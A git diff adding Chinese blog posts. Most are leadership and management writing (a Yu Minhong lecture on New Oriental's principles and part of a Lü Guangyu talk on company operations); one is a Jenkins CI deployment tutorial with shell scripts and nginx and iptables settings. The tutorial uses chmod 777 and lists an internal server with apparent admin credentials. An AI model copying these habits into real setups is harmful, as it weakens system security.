+当拥有资源、拥有信息、拥有决策、拥有创业家精神的人越来越多的时候，一个企业能不能包容这些人？ + +如果不能包容这些人，企业必将走到分裂。 + +如果包容这些人，企业该搭建怎样的权力结构？同股不同权，不同权到什么程度？用多少收益权去替代控制权？需要我们每个人去思考，基本前提就是保护企业家精神。 + +未来一定是一个群创时代 ，你要学会保护一群企业家的精神，保护一群人共同在顶端去战斗。 diff --git a/_posts/2018-01-11-266-ymh.md b/_posts/2018-01-11-266-ymh.md new file mode 100644 index 0000000..024a64d --- /dev/null +++ b/_posts/2018-01-11-266-ymh.md @@ -0,0 +1,230 @@ +--- +layout: post +title: 创业24年，领导4万人，俞敏洪有这些领导力法则 +pid: 266 +tags: [管理] +--- + +如何把小气的人培养得很大度？ + +如何调动领导者的气场？ + +如何最大限度地避免决策错误？ + +创业24年，领导4万余员工的新东方创始人俞敏洪老师，在混沌大学分享了他的领导力心法，全是对人性和商业的洞察的智慧，值得细细体会。 + +授课老师｜俞敏洪 + +新东方创始人、洪泰基金创始合伙人 + +> 个性原则 + +领导力来自于一个人本身的个性，以及由个性所产生的魅力。 + +这种个性是可以培养的吗？可以。 + +我曾经真的把一个特别小气的人，培养成一个特别大方的人，怎么做到的？我就要求他每个星期必须请人吃饭，吃到穷水尽。他想要跟谁吃饭，如果邀请不到，我帮他邀请，但你就得请人吃饭。 + +对于一个小气的人来说，不断地掏钱这件事情是有难度的，大家不要小看这个事儿，往大扩展，当一个公司做大以后，你愿意不愿意把股权分给大家？愿不愿意把年终奖多分点？与此密切相关。 + +后来这个家伙终于意识到，跟人一起吃饭，变成好朋友，有多么重要，就是他突然发现花钱背后所带来的好处巨大，所以豁然开朗，就变成了一个很大方的人。其实很多时候我们是被自己给局限住了。 + +在个性原则中，与领导力相关的特质，我比较看重以下4点： + +①一个人必须要有主动参与的能力。任何事情，如果你能够主动去参与，而且不太顾忌自己的面子，就表明你有参与能力，这是领导力的第一步。 + +②合群友好。你必须要能够融合到群体中间，才能够有机会得到更好的。 + +③开朗坦诚。 + +④果断坚毅。 + +以上四项，你只要有其中的一到两项，其实就已经奠定了你被人喜欢，被人接纳，以及最后有机会成为领导人的基础。 + +> 分享原则 + +分享，其实是一群人关注度的基础。 + +我的个性比较大方，小时候在农村就通过把水果糖分给小朋友，让他们跟我一起玩，在潜移默化中成为了小朋友的头。 + +有人问我新东方是怎么做起来的，其实就是一个分糖的过程：你想分到我的糖，你就必须把新东方一起做大，新东方就是这样不断的分配再分配过程中间做大的。 + +但当一个人感觉你背后总是藏着什么东西，让人不能100%信任，你就已经失败了。 + +就是说，你带一帮人，一起干一个事业，但这帮人对你不能100%的信任，总觉得你这个人背后有点猫腻，你的酸甜苦辣也不愿意跟大家分享，而在利益分享的时候，又躲躲闪闪，或者总是被别人强行要求，最后你不得不再拿出来东西的时候，这件事情就麻烦了。 + +有难同当，有福同享，这是无比重要的一件事情。 + +比如越王勾践，当他把吴王府灭掉以后，范蠡就赶快走掉了，因为他觉得越王勾践是一个不能有福共享的人，但文种就觉得这个人没问题，待在了越国，结果被迫自杀。朱元璋跟勾践一样，打下明朝后，把所有底下的大臣全部给杀掉了，但像刘邦、唐太宗、赵匡胤就做的非常好。 + +总而言之，你要作一个真正有气度的领导人。 + +新东方的人对我的感觉还算比较好，是因为他们知道不管怎样伤害我，我都不会报复。到现在为止，新东方的人不管以什么样的方式出走，我从来都没有在公开场合说过他们一句坏话，尽管有的时候，我心里骂了他们一千遍，更加没有做过一件伤害他们的事情。只有这样，你的团队才会有安全感。 + +> 主导原则 + +主导原则就是指在一种场合，你能够迅速抓住主动权。 + +从小学到中学一直到大学，我当过的唯一一次班干部，是在高考补习班，我被选为班长。 + +怎么被选上的？其实我只做了一件事。当时，大家都是从全县的各个地方来到补习班，群龙无首，教室非常脏，我就抱着一个农村人的勤奋，带领全班同学把教室打扫干净，后来就被选为班长。当时的班主任说，我们班不需要一个成绩好的人当班长，但需要一个愿意为大家服务的人当班长。 + +就是说，你抱着为大家服务的心态，主动去承担某种责任，或者是主动去做某件事情，那么最后，你就能够占据到一个优势地位。 + +当班长这件事情给我带来两个好处： + +①班长成绩要好，这让我最终考上了北大。 + +②我必须要组织他们，对周围所有的同学都好。 + +后来，这个班在我的带领下，40个同学，38个考上了全国重点高校。今天，新东方的CEO周成刚，以及新东方行政总裁李国富，都是我这个班的。天然的威望就在那，要跟着老班长走。 + +所以，主动出手，抓住先机，尤其是在一个陌生的团队中间，非常重要。 + +当然，抓住先机以后，你要寻找一部分的伙伴。比如说我在这个补习班组成了一个核心团队——五六个成绩最好的人的学习团队，去帮助班里落后的人，实现共同进步。 + +后来我做新东方的时候，也是先形成核心团队，然后再通过核心团队去招募周边有能力的人，一层层扩散下去，形成新东方的能力圈。 + +如果说，你没有核心团队，只是你一个人，而其他的人，对你来说只是唯命是从，那么你的力量是爆发不出来的。 + +> 气场原则 + +要培养领导力，你不能总是跟着人走，一定要宁为鸡头不为牛后，学会避开高压创气场，自创气场。 + +举个例子，我来自农村，在北大的时候，同学的气场都非常大，每个人的能力都比我强，在英语、中文、读书、文艺、体育等成绩上，没法跟我同学比。 + +所以，我在北大的五年，气场一直被压着，即便后来成为北大优秀老师，我依然觉得我的气场被死死压住，因为北大著名教授太多了。 + +我发现这样下去，尽管也有一点发展前景，但永远是一个二流状态，你永远不可能主导北大的任何事情，这也成了我离开北大的主要原因。 + +其实，曾经有两件事给了我很大的信心： + +①在小时候，我是小朋友的头。 + +②在高考补习班，我是个非常有影响力的班长。 + +然而，在北大整整10年，没有产生任何影响力，我就觉得北大不是一个我能发挥能力的地方。 + +有没有发现，当你在某个地方，是一个真正领导人的时候，到另外一个地方，你就只能端茶倒水。比如，我在新东方绝对是一个真正的领导人，但到企业俱乐部活动时，我会自降为柳传志、马云他们倒水的份，而且只有谈到教育话题，我能说几句话，其他时候，他们都是我的老大。 + +当然，当你气场增加以后，你也可以反败为胜，比如我今天在北大，气场还是非常足的，我是北大基金会的常务理事，北大校友会的理事，北大企业家俱乐部的创始人和理事长。就是说，你的能力只能当一个县长的时候，不要想当皇帝，每个人都应该有自知之明。 + +而且，你要避开这种高压气场，自创气场，这件事非常重要。 + +我出来办新东方，开始是一帮下岗老太太跟我干，那我绝对气场压得过他们，后来徐小平、王强进来了，这个气场，我就有点压不住了，你知道吗？后来，之所以还能混下去，是因为徐小平、王强他们才从美国回来，而我已经做了4年，是新东方的唯一创始人。 + +但我的领导力天花板是柔和有余，刚强和果断不足，没有快刀斩乱麻的能力。当王强、徐小平进来后，他们在北大又是我的老师，又是我的班长，我在这方面是盖不住他们的，最后的结果就是他们主导整个局面，我变成“端水倒茶”的。 + +所以，我建议创业者，如果你要拉原来的同学、朋友、哥们一起干的时候，你一定要先干个三四年，把这个公司做到让人感觉到已经成型了，再请他们加入，而不是共创。 + +> 判断原则 + +为什么新东方最重要的是教学质量？这不是我自己拍脑袋决定的，而是要求所有的人都参与讨论，最后大家达到共识。 + +当然，有人是不认的，后来新东方的几个高层管理干部离开新东方就是因为不认，因为他们有的认为营销是起作用的，只是中间的过程没做好，有的人依然认为要拼命开教学点。 + +但既然大部分人都认为教学质量非常重要，那么，不认可这件事情的，就只能离开。一个团队的一致性非常重要，我是做了比较广泛调研，也做了比较充分的讨论。 + +也就是说，有的时候，我们抓公司很简单，问一个问题就行，如果我们公司只做一件事情，应该首先做哪件？这个问题只要经过广泛讨论以后，你就能够明白，什么是最重要的事情。 + +> 纠错原则 + +我们个人常常是容易犯错误的，我在新东方也做错了很多决策。但是后来我发现，只要是经过大家讨论过的决策，也有错误，但比例会迅速下降。 + +所以，我在新东方就打造了一个机制监控——7人常委会，任何问题只要有4个人不通过，这件事情就不能干。 + +如果说有4个人都不同意，俞敏洪还要坚持干，所有的损失由俞敏洪个人承担。也就是说，即使全部反对，我还是可以坚持干的，但是得有承担。 + +所以，我在新东方有过被扣掉工资的时候，有过被点名批评的时候，但是也有过我决策做对的时候。 + +当然，这里面还涉及到一个问题，就是别人敢不敢指出你的缺点。在一个公司里，如果有这样的几个人，总是能够勇敢的指出老总的缺点，并且老总还愿意接受，这个公司犯错误的可能性就会减少很多。 + +在新东方，如果我发现做了比较错的事情，我自我批评速度还是比较快的，这带来两个好处： + +①大家心中的压力就会被释放掉，释放掉以后，他们就会比较愿意继续跟着你干。 + +②因为你自我批评，所以带来的是他们也会做自我批评。 + +相互批评，并且是用开玩笑的方式说出来，大家都不会觉得难看，更容易接受，而且，会形成一种风气。 + +这些机制会让公司不走歪。 + +> 奖励原则 + +我曾经公开批评过下属，但这会带来一个重大问题，下属的面子上很过不去，内心会纠结很长时间，甚至背后会对你产生各种各样的不舒服感。但当你私下把他叫到办公室，直抓缺点的时候，一般来说，他都能够接受，甚至还带有感恩的心理，因为他觉得你是在维护他的面子，让他进步。 + +奖励有两种，虚和实。虚是口头上的表扬和鼓励，实就是现金的奖励。所谓虚实并重，就是要让人感觉到时时有鼓励，并且时时有一个开放的平台在他们的眼前。 + +而且，奖励一定要公开，这样就会给他更大的激励，如果你私下授予，会造成整个团队的猜忌。 + +把所有的奖励都能公开，你自己也会考虑这个奖励是否公平。 + +奖励的频次，不能太高，也不能太低。比如在新东方，每一个季度都会给员工来一次小的鼓励和奖励，进行阶段性认可，到年终结束时，再来一次大的鼓励和奖励。 + +还有，每隔半个月、一个月，你要跟员工有一次面对面的交流，或者说微信交流，鼓励他们，这个非常重要。 + +我对自己有一个规矩，每天不管是通过微信，还是面对面，鼓励的人数不下于5-8个人，因为新东方的核心管理干部有接近150个人，要轮一圈，一个月就过去了。 + +他们最怕的是你把他们给忘了，尤其是派驻在外地的大将，比如到哈尔滨这样冰天雪地的地方，半年都没有一个问候语，只是业绩差的时候打个电话说你这个业绩怎么做的那么差？对方马上就崩溃掉了。 + +> 掌控原则 + +我告诉大家一句话，千万不要去做你认为掌控不住的事情，以及你认为会出问题的事情。比如现在很多创业公司死掉，为什么？就是因为当你有投资的时候，你突然就变得充满雄心壮志，开发了很多大系统，人员增加好几倍，最后突然发现后续融资跟不上，这是三分之一的创业公司倒闭的重要原因。 + +所以，要学会掌控速度和节奏。当你发现用那些顶尖人才，你有一点把控不住的时候，你宁可用中级人才。你想想，你的公司是要活着，还是被你的顶级人才推翻掉？ + +比如新东方前四年，我用的是中国本地的老师，并没有想把徐小平、王强叫回来，直到能掌控时，才叫他们回来，即使这样，他们还是跟我翻天覆地整了10年，非常不容易。 + +> 韬光原则 + +当你不行的时候，你怎么办？我来讲一个故事。 + +新东方在合伙人时期，所有的利润当年全部分配完毕，公司是不留利润的。但是，2001年，新东方公司化以后，是以上市公司为指标，利润要留下来，每个人只拿工资。 + +结果就产生了一种误解，说俞敏洪通过上市公司这个结构，把大家的利润收回到公司去，直到最后的结果是，没办法再跟着俞敏洪干了。 + +我当时就提出两个解决方案： + +一种方案是，我把股份全部收回来。他们当时已经分走了新东方50%的股权，我要用5000万人民币把你们的股份收回来。这在当时是一笔大钱，而且我本身其实没这个钱，我要到处去借才能拿到这个钱。这样的话，我一个人做新东方，免得我们天天吵架。 + +另外一个方案是，我把自己45%的股权，全部分给你们，我离开新东方。后来他们想了一想也不行，说你分给我们了，我们互相又要打起来了，还不如我们联合起来一起和你打。 + +但是，他们说俞敏洪没有领导能力这件事情已经被确认了，所以你不要再当董事长了，也不要再当总裁了。后来，我就不当了，我就去管教学，后来说教学也不能管，因为你把所有老师拢在手下，我们极其不安全。所以，在那段时间，我就变成了新东方的普通教学老师。 + +最后他们说，你董事会也不要开了，因为你占45%的股权，你一开董事会，我们大家也不敢讲真话。 + +后来的新东方，有那么2、3年，他们轮流当董事长和总裁，3年以后，他们又把我叫回来说，老俞，我们觉得董事长和总裁真不是人干的，还是你来吧。 + +最后，我又回到了董事长和总裁的位置上，我提了两个要求： + +①如果我上去了，5年之内不要让我下来。 + +②我对新东方的发展必须要有绝对的决策权，我带领新东方发展的目标，就是到美国上市。 + +其实，在最开始，如果我的脾气刚强一点，完全可以让那些人离开，但如果那样，新东方团队当天就散，也就不可能在后来成为一个真正的上市公司。 + +我不能用极端的行为和语言把这个团队给解散掉。沉浸了3年以后，2004年年底，我回到新东方，2005年新东方启动上市，2006年新东方美国纽交所上市。 + +> 包容原则 + +第一，过线必罚。什么概念？当你的部下违反了原则性问题，是必须罚的，新东方到今天也送了有5、6个员工进了监狱，贪污是绝对不能容忍的。 + +第二，线内包容。如果说是非原则性问题，不管犯多少错误，你都可以包容，哪怕有人侮辱你，哪怕有人作贱你，都没关系。 + +比如，在我们几个合伙人斗争最剧烈的时候，居然有人，而且我知道背后是谁，把我隐私的事情放到了网上公开，这种东西某种意义上是破了底线。但我认为这件事情其实能够解释，一是对方对我感到绝望了，因为新东方的改革步伐，我没有引领好；二是你暴露我的隐私问题，只影响到我个人，没影响到公司发展，不是什么原则性的问题，所以我是可以容忍的。 + +第三，广开言路，有所设计。首先，你周围必须有几个人，至少在心理上面同你平起平坐，敢于指着你的鼻子骂你，比如新东方CEO周成刚。其次，让周成刚这样的同龄人变成舆情传达者。为什么？因为你让一个比我年轻20岁的人指着我的鼻子骂我，这是有巨大难度的，但是周成刚就可以把他们的意见转达给我，说，老俞，这件事情你不能这么干。 + +第四，民主集中。所有外部决策的效率性都是由内部会议的无效所产生的。内部讨论的问题越充分，表面上越无效，越没有结论，其实有的时候越达到了核心问题，一旦这个核心问题达到一致意见，对外执行的时候，你会发现这个公司越能风生水起。 + +*本文根据俞敏洪老师在混沌大学的课程《领导力原则》整理而成，内容仅为全部课程的1/6。 + +俞敏洪老师共分享了24条领导力原则，其他14条领导力原则还包括愿景、目标、人才、团队、回避、齐心、商道、痛点、变革、底线、德行、包容、成长、退身等，比如： + +1、人才原则：为什么新东方的数学逻辑课老师最多？ + +2、回避原则：为什么新东方最终形成了5人董事会？ + +3、痛点原则：为什么有的痛点就是无法形成有效商业模式？ + +4、退身原则：新东方如何选择接班人？ diff --git a/_posts/2018-01-23-267-keepgrowing.md b/_posts/2018-01-23-267-keepgrowing.md new file mode 100644 index 0000000..83fae5e --- /dev/null +++ b/_posts/2018-01-23-267-keepgrowing.md @@ -0,0 +1,41 @@ +--- +layout: post +title: 开放、包容与持续进步 +pid: 267 +tags: [岗前培训] +--- + + +我需要的是一种更开阔的思维，去激发每个人的动力，让他们承担更多的责任，而不是仅仅让他们去增加他们的体验（这个世界上没有走马观花式的旅游体验机会），要体验，就要承担更多的责任。 + +我们需要的是一种直面问题的勇气和态度！（开放、包容的态度），只有这样才能留住人心，同时我也相信，即使他到了同样的位置，也是要面对同样的问题，他是不是也能够开放、包容，取决于他的格局！ + +并不是说我更高明，而是我遇到的一切造就我只有这样才能长久生存！ + +我需要在开放、包容的前提下开阔我的思路，寻找更好的生存之道，而不是让自己处于某个适应的环境中（一旦我对周围环境游刃有余，就要开始寻找突破，而不应该让周围的一切来满足我的游刃有余，因为游刃有余只是对于当前的我而言，我要做的是让未来的我适应未来的环境），所以我要做的是： +1. 做别人不愿意做的事情 +2. 做别人想不到的事情 +3. 做别人做不到的事情 + +我们能做的都是 +> 顺势而为 + +尽管说 + +> 上有所好下必甚焉 + +我们不能做成 + +> 东施效颦 + +我们需要去努力的和 + +> 能力强的人，比我们进步的人一起，这样我们才能够进步 + +寻找导师（引路人） + +> 通过帮助别人，从而实现我内心的目标 + +我的目标 + +> 变得睿智和富足 diff --git a/_posts/2018-01-24-268-vueSpringboot.md b/_posts/2018-01-24-268-vueSpringboot.md new file mode 100644 index 0000000..bf54a47 --- /dev/null +++ b/_posts/2018-01-24-268-vueSpringboot.md @@ -0,0 +1,187 @@ +--- +layout: post +title: 前后端分离式项目CI实践 +pid: 268 +tags: [微服务] +--- + +# Install & Configure JDK + +> 自己找帮助 + +# Install & Configure Maven + +> 自己找帮助 + +# Install & Configure Jenkins + + sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat/jenkins.repo + sudo rpm --import https://jenkins-ci.org/redhat/jenkins-ci.org.key + sudo yum install jenkins + sudo service jenkins restart + sudo chkconfig jenkins on + vim /etc/sysconfig/jenkins + sudo service jenkins stop + sudo service jenkins start + vim /etc/sysconfig/iptables + service iptables restart + vim /var/lib/jenkins/secrets/initialAdminPassword + +# Create & Grant folder Permission + + mkdir /usr/local/xx-main/deploy + mkdir /usr/local/xx-main/deploy_backup + mkdir /usr/local/xx-main/deploy_script + cd /usr/local/xx-main + chown -R jenkins:jenkins * + mkdir /usr/local/xx_frontend + cd /usr/local + chown -R jenkins:jenkins /usr/local/xx_frontend + +# Prepare Linux deploy_script + +> stop.sh + + #!将应用停止 + #!stop.sh + #!/bin/bash + cd /usr/local/xx-main/deploy_script + echo "Stopping SpringBoot Application" + ls + pid=`ps -ef | grep xx-main.jar | grep -v grep | awk '{print $2}'` + if [ -n "$pid" ] + then + #!kill -9 强制终止 + echo "kill -9 的pid:" $pid + kill -9 $pid + fi + + +> replace.sh + + #!编译好的jar包存放地址 + source_file=/var/lib/jenkins/workspace/xx-main/xx-main/target/xx-main.jar + #!将现有的jar备份后，将新的jar包替换 + target_file="/usr/local/xx-main/deploy/xx-main.jar" + + cd /usr/local/xx-main + + if [ -f "$target_file" ] + then + mv ./deploy/xx-main.jar ./deploy_backup/xx-main.jar.`date +%Y%m%d%H%M%S` + fi + cp $source_file ./deploy + + +> startup.sh + + #!/bin/bash + echo "**********************jenkins started*************************" + echo "授予当前用户权限" + + chmod 777 /usr/local/xx-main/deploy/hyl-main.jar + echo "执行....." + cd /usr/local/xx-main/deploy + java -jar xx-main.jar + echo "**********************jenkins end*************************" + + +# Global Tool Configuration + +> JDK + +/usr/java/jdk1.7.0_80 + +> MAVEN + +/usr/share/maven + +> NodeJS + +/usr/local/node + + +# Manage PlugIn + +1. NodeJS Plugin +2. Maven Integration plugin + + +# Create Manven Project in Jenkins + +## POST Steps - Run only if build succeeds + + #!/bin/bash + cd /usr/local/xx-main/deploy_script + echo "Execute shell Start" + sh stop.sh + sh replace.sh + echo "Execute shell Finish" + chmod 777 /usr/local/xx-main/deploy_script/startup.sh + BUILD_ID=dontKillMe nohup /usr/local/xx-main/deploy_script/startup.sh & + + +# Create NodeJs Project in Jenkins + +## Provide Node & npm bin/ folder to PATH -- NodeJS Installation + +## Build -- Execute Shell + + #!/bin/bash + pwd + source /etc/profile + cd xx_frontend/ + npm install + # nohup npm run dev > /dev/null 2>&1 & + # npm run dev + # (npm run dev &) + npm run build + + +# Configure nginx + + server { + listen 7001; + server_name localhost; + + #error_page 404 /404.html; + location / { + root /usr/local/xx_frontend/; + index index.html index.htm; + } + + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + + } + + + + +# Configure iptables + + -A INPUT -p tcp -m state --state NEW -m tcp --dport 8888 -j ACCEPT + -A INPUT -p tcp -m state --state NEW -m tcp --dport 7001 -j ACCEPT + -A INPUT -p tcp -m state --state NEW -m tcp --dport 7002 -j ACCEPT + + +# Try It! + + CI服务器 + http://10.18.10.22:8888 + admin - jenkins + + # 前端 + http://10.18.10.22:7001/#/ + + # 后端 + http://10.18.10.22:7002/ping + + +# 一点遗憾 + +我期望将有状态的内容都放到nodeJs里面去，将无状态的内容都放到Springboot API中，但是vue.js不支持，所以，目前只能是去使用这一的折中的办法后面再看有没有好的实践方法吧！ diff --git a/_posts/2018-02-28-269-xingbianli.md b/_posts/2018-02-28-269-xingbianli.md new file mode 100644 index 0000000..2d0129f --- /dev/null +++ b/_posts/2018-02-28-269-xingbianli.md @@ -0,0 +1,746 @@ +--- +layout: post +title: 吕广渝：上帝视角看公司运营 +pid: 269 +tags: [管理] +--- + +我从1993年毕业到现在其实已经差不多二十五年的工作经验。今天来到混沌，索性我把这个过程当中传统的、互联网的、创业的、职业的各个环节的一些经验综合起来，跟大家做一些分享交流。 + +> 上帝视角 + +为什么是“上帝视角”？ + +其实这个话题，我自己想了很久。“上帝视角”这四个字，在美团点评后期的高管会上、在我这次创业当中，给我留下非常深刻的印象。 + +我记得我们在美团点评开高管会的时候，王兴经常会问一个问题：如果我们回到五年前、六年前，大家觉得竞争会不会重来？或者换一种打法，会不会大家不这么思考？ + +我觉得这个问话本身就是上帝的视角。因为只有上帝，会站在第三方的角度去看这个战局是怎么演变的，但参与其中的人不会这么讲。 + +像我自己，我过去二十多年的经历，都是作为第一人称、作为一个参与者在参与企业运营，没有办法跳出来的。可能，你当时所作所为，所思所想来自于你的老板、你的合伙人、你的下属、甚至来自于你的竞争对手。 + +今天，索性我们就从上帝视角来看一下公司运营。 + +我把自己的经历，画成这个四宫格，就是希望和大家讲：我自己二十多年工作经历，无论是从打工者到创业者的维度，还是从传统经济到互联网或者新经济的角度，都可以用这个四宫格的方法去看。 + +> 人的一生，不是经历的一生，而是体验的一生 + +首先，我想讲一下最近这十几年我感悟比较深的一句话。 + +我是一个比较喜欢折腾的人，我有这样的观点：如果你只是在打工这条路上不断地换企业，我觉得这个叫跳槽，但如果你在打工的纬度上跳去做创业，我觉得这个叫跳崖，你要有跳悬崖的勇气。 + +我觉得人分成两种：有一种对风险是非常敏感的，这类人做的所有决策都是基于规避风险的。而我，则是一个对风险敏感度极低的人。 + +所以，我认为，当你从职业往创业跳崖的时候，最需要的是你不觉得那是一个悬崖，你觉得挺有意思，觉得前面的东西一切都是不可测的。 + +所以，我觉得人一辈子最重要不是你经历了多少年，而是你体验了多少年。 + +> 一家公司CEO、一个BGM、一个FGM用什么视角看 Big Picture + +我们来看看，下面讲的这个方法论是基于什么样的立足点？ + +我认为，这个课，可能比较适合三类人： + +第一类，你本身在操盘一个企业。不管企业大小，十几个人，或者几千人，你作为企业的CEO，你怎么看一家公司的运营。 + +第二类，像我之前的角色，BGM，一个事业群的总经理，无论是负责事业群还是事业部，只要是一个闭环，我们都叫BGM。 + +还有一种角色，FGM，就是一个职能部门的GM。 + +很多人区分不清楚这两个概念，都觉得自己是总经理，但在我眼中这三个角色差别是非常大的。 + +什么叫FGM，例如销售副总裁或销售总监，都叫function的总经理。就是说，你管的是一个垂直的一个职能的闭环。 + +但是BGM就不同了，一个Business里的GM，很大程度上需要管理一个全闭环：从人到事、从后面的PR、GR到市场，再到技术产品、业务，全闭环都得了解。 + +所以下面的课程，将基于这三个角色去看待问题。 + +> 四大要素 + +最后，在这个框架里面非常重要的四个要素。 + +往往大家以第一角色参与事件的时候，包括我自己作为第一人称参与时，都不会用人事道术这个角度去看待问题，而是专注解决具体问题。所以今天我想搭一个人事道术的四宫格。 + +这个对事情、对公司的认知框架——就是人事道术合一，去看一个完整的企业运营，事实上，是我在阿里早期的时候就形成了。我认为，你在一个企业，一个BG里面，要解决的无外乎是人的道、人的术、事的道、事的术。 + +这四个维度，如果大家能够把每一个维度想清楚，每次做决策前都能够按照这四个维度把问题先梳理一遍，排出优先级，再结合公司资源做出投入的决策，那么你的决策不会出大的错误、不会犯致命问题，企业至少能够往前推进。 + +# 一、 关于人之道 + +我们先来看第一个维度，怎么样来看人的道的维度。 + +这个框架搭起来跟传统企业、传统管理课上教的金字塔型的科层制框架是不同的。 + +我自己从大概五六年前我就有这样的感悟：随着今天企业竞争不再分线下线上、不再分互联网跟传统之后，竞争变得非常混乱。此时，再用传统的科层制，也就是所有决策、执行，都以CEO一路往下到基层员工，就已经非常不适用了。 + +以前我们说，组织是中心化的。而今天，你有没有本事从初建公司、或者初任BGM的第一天，就能够实现组织的去中心化、把科层制打碎掉。 + +以猩便利为例，我们的规模相对也比较大了。但到今天为止我们的企业仍然只有三层半。所谓半层，就是创始人，它不算完整的一层，往下就只有三层：总监、项目的leader或者owner、以及执行者。 + +我们一直坚持，打破原来科层制的方式，直接以阿米巴的方式去组建整个公司的人力资源。 + +所以，我们公司没有人力资源系统，连这个软件都没有。因为从我开始就倡导，打破一层一层的组织。 + +我经历过的阿里、美团点评，以及我自己创立的两家公司，都面临这样的问题，也是科层制最大的问题——逐层腐败，逐层降效。 + +而打碎之后以任务的形式去组织人力时，由于组织是不断灵活变化的，就不太可能沉淀下来让这滩水变死。 + +所以从人道角度上，我觉得大家回去要思考一下，怎么样重新重构你的组织结构。从CEO、BGM开始，就有打破科层制的思考。 + +否则，你会发现，你的企业还是一层一层往下传递，然后变得臃肿、低效。 + +那么，打碎传统的科层制后，怎么去组织人力呢？ + +本质上就是以阿米巴的机制、以任务导向，梳理出优先级最高的三个任务，把不同职能的人组织成一个小的阿米巴组织机构，完成任务后再打碎，直到因为下一个任务再聚集在一起…… + +具体说，就是每当有任务时，拆解各个function，一直拆到每一个人头上，以KPI考核。 + +按任务从每个职能部门去抓人，形成一个三个人、五个人、八个人、十个人一个小组织。这个组织里本质上没有所谓的主管、总监，只有因任务临时委派的leader。如果这个任务是产品导向，就以产品的人做leader； + +如果任务是销售导向，就以BD的人做leader。 + +我认为，只有这样的灵活机制。才有可能应对今天激烈的企业竞争。 + +> 平台利己 + +重新搭建企业的组织方式后，我们再以“平台到个人”、“利己到利他”的角度来解释“人之道”。 + +显而易见，这里的“平台”，就是指公司，公司利己角度里，也就是在竞争中，公司要通过任务去达成目标，在竞争当中取得领先优势。所以平台本身是理性的、是任务导向的、是一个manager的角色。 + +> 个人利己 + +反过来，从个人利己角度来看，作为CEO或BGM，最重要的其实是要解决凭什么这帮兄弟跟着你干。对于小企业而言，最难的是招人而不是激发人，而对于大企业，招到一堆人很容易，难的是怎么激发这些人。 + +这些人可能拿着高薪，在他的位置上只完成自己的任务，却未必激发出更大的创造力。所以，leader最重要的是能够凝聚一个团队，让这些人长久的凝聚在企业平台上不离开，并一直充满斗志。 + +今天，再回看我经历的阿里、美团点评这两家企业，我能深刻感受到他们在这方面做得很优秀。 + +比如，今天到阿里的园区去看，晚上十一二点仍然灯火通明——一个接近二十年的企业做到今天，仍然能够做到这一点。 + +我觉得，阿里给我最大的感受是，它在leader和个人利己角度上做得非常好，它让每一个人变成企业的主人、独立思考。 + +但我也承认，作为创业者，往往早期是顾不上这些的。创业早期，往往大家都是任务导向——你要活下来，你就那么多钱，你就那么多时间，你甚至可能还没想清楚商业模式……这个时候让你关注人，是非常难的。 + +所以在平台跟个人的利己上，如何去找到拐点、什么时候从关注事情到关注人，我认为是极其重要的。 + +> 平台利他 + +再看下半部分，就利他的维度，这是我体会最深的。因为，绝大部分企业、平台、个人，想的都是利己—企业怎么样让自身发展，员工怎么样让自己晋升。于是，当我们从“利己”转到“利他”的角度，就很有意思了。 + +那么，什么叫平台利他？ + +就是一家企业，怎么让所有的员工都愿意跟着企业去发展，这是个非常重要的问题。 + +我认为，以我亲身经历来讲，有两种流派——可能跟CEO有关，也跟企业所处竞争环境有关，不同公司选择不同的流派，但是没有对错。 + +第一个流派是美团。美团在利他的角度上的方式是，平台去思考，如何能够在竞争激烈的跑道里面，寻找到更多发展机会——也就是说，美团所有的思考，都是基于事的角度。 + +大家可以看到，从团购到猫眼，再到酒旅，现在美团又做了一件让大家跌眼镜的事情——去做出行。这每一件，都是在突破边界去找到那件事情。 + +就是说，这个企业持有的是先事后人的价值观。也就是说，先找到足够多的跑道，在每个跑道努力做到具备足够强的竞争力，从而让企业具有足够强的吸引力，将人才吸引过来。 + +所以我们看到，在美团和点评合并后，他们再找到的跑道，通常都是当下非常大的、竞争激烈的跑道。 + +而且，往往美团点评投入资源杀到这些跑道中后，往往能够跑到前三。而当你跑到前三时，这个跑道里面的顶级人才，自然就会被吸引过来。 + +第二种流派是很早期的阿里。我认为，阿里是我所经历过的企业里，对人对组织的重视度最高的企业。当然，外界很多人对阿里的认知判断不太一样，我只是讲我个人一己之见。 + +阿里在决定进入一个新的事情前，往往要做组织盘点、人才梳理，就是把所有腰部所谓的干部（总监级别）、逐一梳理清楚。看看组织有没有溢出的人才，然后再因为这样的人和小团队去设定事情并杀进去。 + +我们说，一种流派是因事找人，一种流派因人设事，这是从组织角度去思考利他的完全不同的企业文化价值观，没有对错。 + +今天在座可能有三分之一甚至一半的创业者，大家都了解今天的中国创业机会非常大。但我觉得，今天中国的竞争跟全世界不太一样——今天中国的竞争非常残酷。 + +今天中国的竞争，只要有一个跑道貌似有机会，可能就会有几十个团队、一群的投资人来押这个跑道。 + +无论我们过去看到的滴滴，还是今天我们所在的即时便利领域，通通如此。这就导致，此时的企业竞争是会变形的，并不完全基于人和事本身的。 + +所以，我们刚刚所说的在企业利他角度的两个流派的选择，并没有对错和绝对。对于企业而言，这种选择可能是边跑边迭代的。 + +换个角度而言，无论是早期的阿里还是后来的美团点评，无论是我们刚才讲的因人设事还是先事后人，在当时那个时候，他们作为参与者，并没有上帝的视角，并没有绝对的思考。 + +早前我自己在阿里巴巴，从2004年到2011年的七年里面，我们当时已经觉得竞争非常惨烈了。 + +那时，我们觉得阿里所在的行业至少有两到三个当时我们认为还可以竞争的对手，已经觉得不得了。 + +但今天大家再看，今天任何一个跑道里，如果没有十几个对手你都不觉得这是一个跑道，你自己都觉得很孤僻，怀疑我是不是选错这个行业，赶紧要换。 + +那么，在中国变成这个样子的时候，到底是因人找事情，还是事情起来去吸引人才，这是我们的BGM或者CEO要思考的问题。 + +我认为没有对错。但我个人非常倾向于组织能力优先。因为，在组织能力、人的能力不匹配的时候，很有可能投入到某条跑道上的效率是低的，因为，你并不具有足够的人才让资金效率变得更高。 + +这里，我想引申一下，什么叫做资金效率？ + +外卖，我们都知道，打的非常惨烈。但大家需要知道，外卖到底在竞争什么？很多人说，竞争不就是对攻吗？ + +不就是你有几个点位那我也搞几个点位、你开几家店我也开几家店、你找几个BD我也找几个BD……大家觉得其实好像在竞争这个。 + +但是竞争的本质，其实就是资金的效率。 + 